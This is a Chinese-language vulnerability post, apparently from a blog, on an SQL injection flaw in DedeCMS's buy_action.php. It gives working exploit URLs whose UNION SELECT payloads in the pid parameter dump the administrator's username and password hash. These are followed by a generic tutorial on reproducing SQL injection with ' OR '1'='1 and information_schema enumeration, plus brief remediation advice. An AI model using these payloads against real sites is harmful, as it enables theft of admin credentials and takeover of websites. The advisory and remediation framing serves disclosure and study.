DedeCMS 支付页面注入漏洞

发布日期:2011-03.23
发布作者:佚名

影响版本:dodecms.
官方网站:http://www.dedecms.com

漏洞类型:SQL注入

漏洞描述:DedeCMS. 织梦buy_action.php存在注入,可利用SQL查询代码爆管理员用户密码。

漏洞测试:

首先注册个用户,注册地址:
/member/index_do.php?fmdo=user&dopost=regnew

爆管理帐号:
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,userid,4,5%20from%20%23@__admin/*

爆管理员密码
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

 

DedeCMS是一款流行的内容管理系统(CMS),但在过去的一些版本中存在SQL注入漏洞SQL注入是一种通过将恶意的SQL代码插入到应用程序的输入字段中,从而控制数据库执行非预期操作的攻击方式。以下是DedeCMS SQL注入漏洞复现的步骤: ### 步骤一:环境搭建 1. **下载DedeCMS**:从官方网站或其他可信来源下载DedeCMS的旧版本(存在漏洞的版本)。 2. **安装DedeCMS**:按照官方文档的步骤进行安装,确保数据库和Web服务器(如Apache或Nginx)正常运行。 ### 步骤二:识别漏洞 1. **查找注入点**:常见的注入点包括搜索功能、登录功能等。假设我们使用搜索功能作为注入点。 2. **构造恶意输入**:在搜索框中输入带有SQL注入的恶意输入。例如,`' OR '1'='1`。 ### 步骤三:执行SQL注入 1. **测试注入**:在搜索框中输入测试语句,观察页面响应。如果页面返回了异常的结果或错误信息,说明存在SQL注入漏洞。 2. **提取数据**:使用SQL注入技术提取数据库中的数据。例如,使用`UNION SELECT`语句结合`information_schema.tables`表来获取表名。 ### 步骤四:利用漏洞 1. **获取数据库信息**:通过SQL注入获取数据库版本、用户信息、数据库名等信息。 2. **获取表和列信息**:利用`information_schema`数据库获取表名和列名。 3. **提取数据**:根据获取的表名和列名,提取具体的数据。 ### 步骤五:修复漏洞 1. **更新DedeCMS**:升级到最新版本,修复已知的SQL注入漏洞。 2. **代码审计**:对代码进行审计,修复所有可能的注入点。 3. **使用参数化查询**:确保所有数据库查询都使用参数化查询,防止SQL注入。 ### 示例代码 以下是一个简单的示例,展示如何通过SQL注入获取数据库版本信息: ```sql SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''; ``` 通过这种方式,攻击者可以绕过身份验证,获取所有用户的信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值